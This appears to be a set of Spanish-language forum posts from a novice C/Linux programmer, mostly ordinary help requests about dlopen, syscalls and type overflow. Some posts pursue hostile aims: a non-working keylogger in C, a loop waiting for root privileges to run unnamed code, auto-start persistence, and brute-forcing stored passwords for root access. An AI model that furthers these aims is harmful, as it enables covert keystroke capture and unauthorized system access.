Bueno la cuestion es: yo leo un byte de un archivo, lo almaceno en una variable tipo char, le sumo un numero del 1 al 11, y se pasa de 127, es decir, se desborda el tipo. Luego escribo ese byte a otro archivo. Y otra aplicacion que lea ese archivo y conozca que numero se le sumo a ese byte, ¿como lo vuelve a convertir en el original, si se desbordo el tipo?

Quiza no me he explicado muy bien, si no lo entienden pregunten.

Saludos.

Bueno pues el titulo habla por si solo. Yo llegue a este foro este mismo año, y he visto que otros años se hacia esto del Abril Negro, y mi sugerencia es revivir esta costumbre.

Saludos.

Bueno pues queria invitaros a que deis vuestras opiniones sobre este tema. ¿Por que se tiene que dar religion en los colegios/institutos? Yo pienso que en un pais laico ( ) como España esto no deberia ser asi.

Saludos.

Bueno el tema es que mi padre ha estado investigando como ver los partidos de futbol que en españa son de pago en canales publicos de otros paises, por internet usando un proxy de ese pais. ¿Es esto factible? ¿En que canales de otros paises dan el futbol en abierto?

Saludos.

Hola!

La verdad es que no suelo escuchar mucha musica, y abro este post para que me recomendeis musica o me digais que soleis escuchar, tengo ganas de escuchar algo distinto al reggaeton que se escucha por la calle xD.

Saludos.

Hola!

Estoy tratando de cargar librerias dinamicas (.so en linux) dinamicamente, valga la redundancia xD. El problema es que he creado una simple libreria dinamica, con tres funciones estupidas (las que me hacia por defecto el C::B) y la funcion dlopen() siempre retorna NULL.

Código (c) [Seleccionar] Expandir


#include <dlfcn.h>
#include <stdio.h>

int main()
{
typedef int (*function)(int, int);
void* handle = dlopen("libtest.so", RTLD_LAZY);
if(!handle){ printf("dlopen"); return 1; }
function fnc = (function) dlsym(handle, "SampleAddInt");
fnc();
dlclose(handle);
return 0;
}


El archivo libtest.so esta en la misma carpeta que el ejecutable, y tampoco funciona si le pongo la ruta completa. Por supuesto la salida de la consola siempre es "dlopen".

¿Que puede estar pasando? ¿Porque dlopen() siempre falla?

Saludos.

Bueno mi duda es: cuando te identificas como administrador en linux, tu ID cambia a 0, o pasas a formar parte del grupo de root? Es decir, bastaria con hacer esto para saber si alguien es root?:

Código (c) [Seleccionar] Expandir


#include <unistd.h>

int main()
{
  while(1)
  {
    if(!geteuid())
     {
      //Codigo aqui
     }
    else sleep(15);
  }
return 0;
}


O habria que hacer algo mas?

Saludos.

Hola!

Estaba trasteando por mi sistema, un Ubuntu, cuando me encontre el siguiente encabezado: poll.h. Me dio curiosidad, y decidi buscar documentacion acerca de esta libreria(si, estaba aburrido ). Encontre y lei esto: http://pubs.opengroup.org/onlinepubs/7908799/xsh/poll.h.html. Entonces he pensado que podia hacer un keylogger simple, y he armado este codigo:

Código (c) [Seleccionar] Expandir

#include <unistd.h>
#include <sys/poll.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
  FILE* log = fopen("log.txt", "a");
  struct pollfd input[1];
  input[0].fd = 1;
  input[0].events = POLLIN;
  int event;
  char chevent;
  while(1)
  {
   event = poll(input, 1, 1);
   if(event>=0){
   chevent = event;
   fprintf(log, "%c", chevent);
   fflush(log);}
  }
  return 0;
 
}
El problema es que escribo cuatro o cinco letras, cierro la terminal y el fichero "log.txt" ocupa entre 10 y 15 KBs, y al abrirlo se me queda pillado el editor de texto.
Cuando simplemente imprimo las letras por pantalla funciona perfectamente.

Saludos.

La pregunta es: ¿con que algoritmo estan cifradas las pass en este fichero?¿Como se pueden descifrar? Segun tengo entendido se usan numeros aleatorios en el cifrado, ¿seria viable usar fuerza bruta para obtener acceso como root al sistema?

Saludos.

Hola, veran, me estoy iniciando en ASM en linux, y al ir a mirar la lista de syscalls(http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html) me doy cuenta de que a algunas has de pasarle parametros que son estructuras de C. Mi pregunta es: en ASM, ¿como se pasan parametros que sean estructuras?

Saludos.

Bueno pues me pregunto si existe algo parecido al registro de windows en linux, y como se registrarian aplicaciones en el, para que se inicien al iniciar el ordenador. En mi ubuntu hay una opcion para configurar las aplicaciones que se van a iniciar cuando se inicie el SO, de lo que deduzco que debe haber alguna forma de hacerlo en C/C++, pero no he encontrado nada googleando.

Saludos.

Bueno estoy intentando usar funciones de librerias dinamicas sin hacer un include, y he encontrado un ejemplo en el que se consigue esto en una pagina de documentacion de dlfcn.h(pubs.opengroup.org/onlinepubs/7908799/xsh/dlsym.html). El problema es que he intentado hacer algo similar con una funcion que recibe dos enteros y retorna su suma y no me termina de salir.
Aqui esta el codigo:

Código (c) [Seleccionar] Expandir

#include <iostream>
#include <dlfcn.h>

using std::cout;

int main()
{
    int a=2, b=3;
    int fptr(int, int);
    void* handle = dlopen("libprueba.so", RTLD_LAZY);
    fptr = (int(int, int))dlsym(handle, "SampleAddInt");
    int c = fptr(a, b);
    cout << c;
    dlclose(handle);
    return 0;
}

Este es el contenido de libprueba.so:

Código (c) [Seleccionar] Expandir

int SampleAddInt(int i1, int i2)
    {
        return i1 + i2;
    }
Y el error que me da el compilador es cuando le intento asignar a fptr el resultado de dlsym, me dice conversion invalida al tipo de funcion 'int(int, int)'.
¿Como lo puedo solucionar? Debe de haber alguna manera de realizar la conversion.

Saludos.